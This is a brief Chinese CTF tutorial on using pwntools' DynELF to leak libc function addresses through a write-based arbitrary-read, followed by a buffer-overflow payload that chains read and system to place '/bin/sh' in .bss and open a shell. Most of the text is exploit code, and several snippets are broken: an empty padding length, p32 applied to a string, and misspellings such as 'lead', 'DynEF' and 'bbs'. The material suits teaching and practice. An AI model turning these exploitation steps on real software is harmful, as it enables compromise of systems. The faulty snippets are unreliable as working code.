# 概述

由于在 pwn 题中有时候不给 libc,那么需要我们自己通过泄露函数地址来获得 libc 的基地址,而往往 LibcSearcher 无法准确的得到 libc 版本,那么我们就需要利用 DynELF,这是 pwntools 在早期版本就提供了一个解决方案 ——DynELF 类;利用方式与 ret2libc 类似,都是泄露函数地址来计算得到 libc 基址,通俗地讲,DynELF 就是通过程序漏洞泄露出任意地址内容,结合 ELF 文件的结构特征获取对应版本文件并计算对比出目标符号在内存中的地址

并且:
write 函数是最理想的,因为 write 函数的特点在于其输出完全由其参数 size 决定,只要目标地址可读,size 填多少就输出多少,不会受到诸如‘\0’, ‘\n’之类的字符影响;而 puts, printf 函数会受到诸如‘\0’, ‘\n’之类的字符影响,在对数据的读取和处理有一定的难度

# 使用方式

首先需要构造一个函数

n
def leak(addr):  #addr 为想要获得的函数地址
	payload_leak=b"a"*()+p32("write_plt")+p32(main)+p32(1)+p32(addr)+p32(0x100)
	p.send(payload_leak)
	fun_addr=p.recv()
	return fun_addr

然后需要实例化该函数(指向 ELF 文件的指针或者使用 ELF 类加载的目标文件至少提供一个作为可选参数)

n
d=DynELF(lead,pointer=pointer_into_ELF_file, elf=ELFObject)

实例化举例

n
d=DynEF( leak, elf=('./pwn') )

接下来可以运用实例化对象来找到想要的地址(通过这个实例 d 的方法 lookup 来搜寻 libc 库函数)

n
system=d.lookup('system','libc')
read=d.lookup('read','libc')
#用 read 是因为程序里没有 '/bin/sh' 字符串时,还需要我们写入字符串,一般为 bbs 段内

最后的 payload 为

n
p.sendline('a'*140 + p32(read) + p32(system) + p32(0) + p32(elf.bss()+100) + p32(8))
p.sendline('/bin/sh\x00')#顺序为先执行 read 再到 system

需要查看 write 函数能不能在程序中实现任意地址的读取打印
可以时可以用 DynELF

DynELF 泄露函数方法最方便的使用情况是程序中最好含有 write 函数等输出函数且可以多次反复调用,并且 DynELF 找的是字符串

参考:
https://blog.csdn.net/qq_40827990/article/details/86689760